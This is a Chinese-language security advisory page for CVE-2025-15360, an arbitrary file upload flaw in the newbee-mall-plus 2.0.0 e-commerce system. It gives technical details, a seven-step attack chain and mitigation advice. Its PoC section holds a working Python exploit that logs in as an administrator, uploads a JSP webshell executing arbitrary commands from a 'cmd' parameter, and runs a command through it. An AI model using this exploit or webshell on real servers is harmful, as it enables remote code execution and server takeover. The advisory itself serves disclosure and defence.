IPBUF安全漏洞报告
English
CVE-2025-15360 CVSS 4.7 中危

CVE-2025-15360 newbee-mall-plus 任意文件上传漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15360
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
newbee-mall-plus 2.0.0

相关标签

CVE-2025-15360任意文件上传newbee-mall-plusWebShell远程代码执行Java电商系统

漏洞概述

CVE-2025-15360是newbee-mall-plus电商系统中的一个高危任意文件上传漏洞。该漏洞存在于产品信息编辑页面的文件上传功能中,具体位于src/main/java/ltd/newbee/mall/controller/common/UploadController.java文件的Upload函数。由于系统未对上传文件的类型和内容进行充分验证,攻击者可以绕过安全限制上传恶意文件,包括WebShell脚本。成功利用此漏洞可导致远程代码执行,获取服务器控制权限。该漏洞的CVSS评分为4.7,属于中等严重程度,攻击复杂度低,但需要高权限用户操作。漏洞已公开披露,厂商在收到通知后未作出回应,用户需自行采取防护措施。

技术细节

该漏洞存在于newbee-mall-plus 2.0.0的UploadController.java文件中的Upload函数。在产品信息编辑页面进行文件上传时,系统未对用户上传的文件进行充分的类型验证和内容检查。具体问题包括:1) 服务器端未正确校验文件MIME类型,仅依赖客户端传来的Content-Type;2) 未对上传文件进行白名单限制,允许任意扩展名文件上传;3) 上传目录可执行Web脚本,攻击者可通过上传包含恶意代码的.jsp、.jspx或.php文件获取服务器命令执行能力。攻击者需要具备高权限账户登录系统,然后访问产品信息编辑页面的上传功能,构造恶意文件进行上传。上传成功后,通过访问上传文件路径即可触发WebShell执行命令。

攻击链分析

STEP 1
步骤1
获取高权限账户凭据:攻击者需要获取newbee-mall-plus系统的管理员或高权限用户账户
STEP 2
步骤2
登录系统:使用高权限账户登录系统,获取有效的会话Cookie
STEP 3
步骤3
构造恶意文件:创建包含WebShell代码的恶意文件(如shell.jsp),用于执行系统命令
STEP 4
步骤4
上传恶意文件:访问产品信息编辑页面的上传功能,向UploadController.java的Upload函数发送恶意文件
STEP 5
步骤5
绕过安全检查:利用系统未正确验证文件类型的缺陷,绕过MIME类型检查和白名单限制
STEP 6
步骤6
触发WebShell:访问上传的恶意文件路径,传递cmd参数执行任意系统命令
STEP 7
步骤7
获取服务器权限:通过命令执行获取系统信息、上传更多工具、建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15360 PoC - newbee-mall-plus Arbitrary File Upload # Target: newbee-mall-plus 2.0.0 # Vulnerability: Unrestricted file upload in UploadController.java TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/common/upload" # Login with high privilege account session = requests.Session() login_data = { "username": "admin", "password": "admin123" } # Login request login_response = session.post(LOGIN_URL, data=login_data) # Prepare malicious JSP file (WebShell) webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' # Upload the malicious file files = { "file": ("shell.jsp", webshell_content, "application/octet-stream") } upload_response = session.post(UPLOAD_URL, files=files) print(f"Upload Response: {upload_response.text}") # Parse response to get uploaded file path try: result = json.loads(upload_response.text) if result.get("code") == 200: file_path = result.get("data", {}).get("url", "") print(f"Uploaded file path: {file_path}") # Execute command via WebShell cmd_url = f"{TARGET_URL}{file_path}?cmd=whoami" exec_response = session.get(cmd_url) print(f"Command output: {exec_response.text}") except Exception as e: print(f"Error: {e}")

影响范围

newbee-mall-plus 2.0.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用产品信息编辑页面的文件上传功能;2) 配置Web服务器(如Nginx/Apache)禁止访问上传目录的执行权限;3) 使用WAF规则拦截包含恶意脚本特征的上传请求;4) 加强用户权限管理,确保只有绝对必要的人员具有产品编辑权限;5) 启用详细的访问日志和文件上传日志监控,及时发现异常上传行为;6) 考虑部署静态应用安全测试(SAST)工具在CI/CD流程中检测类似漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表